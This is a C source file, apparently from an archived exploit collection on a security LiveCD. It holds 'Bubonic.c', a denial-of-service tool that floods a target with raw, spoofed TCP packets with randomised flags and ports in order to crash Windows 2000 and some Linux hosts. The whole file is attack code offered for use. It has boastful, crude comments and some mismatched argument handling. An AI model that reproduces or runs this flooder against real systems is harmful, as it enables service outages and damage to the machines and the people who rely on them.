home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / bubonic.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.6 KB  |  267 lines

  1. /*
  2.  * Bubonic.c lame DoS against Windows 2000 machines
  3.  * and certain versions of Linux (worked against an Ultra5
  4.  * running Redhat Zoot. Should compile under anything.
  5.  * Randomly sends TCP packets with random settings, etc.
  6.  *
  7.  * Brings the load up causing the box to crash with
  8.  * error code:
  9.  *
  10.  * STOP 0x00000041 (0x00001000,0x00001279,0x000042A,0x00000001)
  11.  * MUST_SUCCEED_POOL_EMPTY
  12.  *
  13.  * CODE RIPPED FROM MY OTHER BGP KILLER WITH SETTINGS TWEAKED.
  14.  * WEE MULTICODE... www.antioffline.com/daemonic.c
  15.  *
  16.  * shouts... hrmm fsck it why not...
  17.  * #unixgods on the efnet, jhh, iggie, rajak, speye, obecian,
  18.  * qwer7y, m3th, god-, tattooman, spikeman, and my wife.
  19.  * Can't forget security staff all over the place.
  20.  *
  21.  * Logs for the packets sent at www.antioffline.com/logged
  22.  * Windows2K screen shots at www.antioffline.com/loads.html
  23.  */
  24.  
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29. #include <strings.h>
  30. #include <sys/time.h>
  31. #include <sys/types.h>
  32. #include <sys/socket.h>
  33.  
  34. #ifndef __USE_BSD
  35. #define __USE_BSD
  36.  
  37. #endif
  38.  
  39. #ifndef __FAVOR_BSD
  40.  
  41. #define __FAVOR_BSD
  42.  
  43. #endif
  44.  
  45. #include <netinet/in_systm.h>
  46. #include <netinet/in.h>
  47. #include <netinet/ip.h>
  48. #include <netinet/tcp.h>
  49. #include <arpa/inet.h>
  50. #include <netdb.h>
  51.  
  52. #ifdef LINUX
  53. #define FIX(x)  htons(x)
  54.  
  55. #else
  56.  
  57. #define FIX(x)  (x)
  58. #endif
  59.  
  60. struct ip_hdr {
  61.     u_int       ip_hl:4,                
  62.                 ip_v:4;                 
  63.     u_char      ip_tos;                 
  64.     u_short     ip_len;                 
  65.     u_short     ip_id;                  
  66.     u_short     ip_off;                 
  67.     u_char      ip_ttl;                 
  68.     u_char      ip_p;                   
  69.     u_short     ip_sum;                 
  70.     u_long      saddr, daddr;           
  71. };
  72.  
  73. struct tcp_hdr {
  74.     u_short     th_sport;               
  75.     u_short     th_dport;               
  76.     u_long      th_seq;                 
  77.     u_long      th_syn;
  78.     u_int       th_x2:4,
  79.                 th_off:4;
  80.     u_char      th_flags;               
  81.     u_short     th_win;                 
  82.     u_short     th_sum;                 
  83.     u_short     th_urp;                 
  84. };
  85.  
  86. struct tcpopt_hdr {
  87.     u_char  type;                       
  88.     u_char  len;                        
  89.     u_short value;                      
  90. };
  91.  
  92. struct pseudo_hdr {                     
  93.     u_long saddr, daddr;                
  94.     u_char mbz, ptcl;                   
  95.     u_short tcpl;                       
  96. };
  97.  
  98. struct packet {
  99.     struct ip/*_hdr*/ ip;
  100.     struct tcphdr tcp;
  101. };
  102.  
  103. struct cksum {
  104.     struct pseudo_hdr pseudo;
  105.     struct tcphdr tcp;
  106. };
  107.  
  108. struct packet packet;
  109. struct cksum cksum;
  110. struct sockaddr_in s_in;
  111. u_short bgport, bgsize, pps;
  112. u_long radd;
  113. u_long sradd;
  114. int sock;
  115.  
  116. void usage(char *progname)
  117. {
  118.     fprintf(stderr, "Usage: %s <dst> <src> <size> <number>\n", progname);
  119.     fprintf(stderr, "Ports are set to send and receive on port 179\n");
  120.     fprintf(stderr, "dst:\tDestination Address\n");
  121.     fprintf(stderr, "src:\tSource Address\n");
  122.     fprintf(stderr, "size:\tSize of packet which should be no larger than 1024 should allow for xtra header info thru routes\n");
  123.     fprintf(stderr, "num:\tpackets\n\n");
  124.     exit(1);
  125. }
  126.  
  127. inline u_short in_cksum(u_short *addr, int len)
  128. {
  129.     register int nleft = len;
  130.     register u_short *w = addr;
  131.     register int sum = 0;
  132.     u_short answer = 0;
  133.      while (nleft > 1)  {
  134.          sum += *w++;
  135.          nleft -= 2;
  136.      }
  137.      if (nleft == 1) {
  138.          *(u_char *)(&answer) = *(u_char *) w;
  139.          sum += answer;
  140.      }
  141.      sum = (sum >> 16) + (sum & 0xffff);
  142.      sum += (sum >> 16);               
  143.      answer = ~sum;                  
  144.      return(answer);
  145. }
  146.  
  147. u_long lookup(char *hostname)
  148. {
  149.     struct hostent *hp;
  150.  
  151.     if ((hp = gethostbyname(hostname)) == NULL) {
  152.        fprintf(stderr, "Could not resolve %s fucknut\n", hostname);
  153.        exit(1);
  154.     }
  155.  
  156.     return *(u_long *)hp->h_addr;
  157. }
  158.  
  159.  
  160. void flooder(void)
  161. {
  162.     struct timespec ts;
  163.     int i;
  164.  
  165.  
  166.     memset(&packet, 0, sizeof(packet));
  167.  
  168.     ts.tv_sec                   = 0;
  169.     ts.tv_nsec                  = 10;
  170.  
  171.     packet.ip.ip_hl             = 5;
  172.     packet.ip.ip_v              = 4;
  173.     packet.ip.ip_p              = IPPROTO_TCP;
  174.     packet.ip.ip_tos            = rand();
  175.     packet.ip.ip_id             = radd;
  176.     packet.ip.ip_len            = FIX(sizeof(packet));
  177.     packet.ip.ip_off            = 0;
  178.     packet.ip.ip_ttl            = 255;
  179.     packet.ip.ip_dst.s_addr     = radd;
  180.  
  181.     packet.tcp.th_flags         = random();
  182.     packet.tcp.th_win           = 65535;
  183.     packet.tcp.th_seq           = random();
  184.     packet.tcp.th_ack           = 0;
  185.     packet.tcp.th_off           = 0; 
  186.     packet.tcp.th_urp           = random();
  187.     packet.tcp.th_dport         = random();
  188.     cksum.pseudo.daddr          = sradd;
  189.     cksum.pseudo.mbz            = 0;
  190.     cksum.pseudo.ptcl           = IPPROTO_TCP;
  191.     cksum.pseudo.tcpl           = random();
  192.  
  193.     s_in.sin_family             = AF_INET;
  194.     s_in.sin_addr.s_addr        = sradd;
  195.     s_in.sin_port               = packet.tcp.th_dport;
  196.  
  197.     for(i=0;;++i) {
  198.     if( !(i&0x3FF) ) {
  199.         packet.tcp.th_sport = rand();
  200.         cksum.pseudo.saddr = packet.ip.ip_src.s_addr = sradd;
  201.         packet.tcp.th_flags = random();
  202.         packet.tcp.th_ack   = rand();
  203.  
  204.     }
  205.     else {
  206.         packet.tcp.th_flags = rand();
  207.         packet.tcp.th_ack = rand();
  208.     }
  209.        ++packet.ip.ip_id;
  210.        /*++packet.tcp.th_sport*/;
  211.        ++packet.tcp.th_seq;
  212.  
  213.        if (!bgport)
  214.           s_in.sin_port = packet.tcp.th_dport = rand();
  215.  
  216.        packet.ip.ip_sum         = 0;
  217.        packet.tcp.th_sum        = 0;
  218.  
  219.        cksum.tcp                = packet.tcp;
  220.  
  221.        packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
  222.        packet.tcp.th_sum        = in_cksum((void *)&cksum, sizeof(cksum));
  223.  
  224.        if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0);
  225.  
  226.     }
  227. }
  228.  
  229. int main(int argc, char *argv[])
  230. {
  231.     int on = 1;
  232.  
  233.     printf("Bubonic -- sil@antioffline.com\n\n");
  234.  
  235.     if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  236.        perror("socket");
  237.        exit(1);
  238.     }
  239.  
  240.     setgid(getgid()); setuid(getuid());
  241.  
  242.     if (argc < 4)
  243.        usage(argv[0]);
  244.  
  245.     if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
  246.  
  247. {
  248.        perror("setsockopt");
  249.        exit(1);
  250.  
  251.     }
  252.  
  253.     srand((time(NULL) ^ getpid()) + getppid());
  254.  
  255.     printf("\nFinding host\n"); fflush(stdout);
  256.  
  257.     radd        = lookup(argv[1]);
  258.     bgport      = atoi(argv[3]);
  259.     bgsize      = atoi(argv[4]);
  260.     sradd    = lookup(argv[2]);
  261.     printf("AntiOffline -- Putting the Hero in Heroin\n");
  262.  
  263.     flooder();
  264.  
  265.     return 0;
  266. }
  267. /*                    www.hack.co.za           [28 August 2000]*/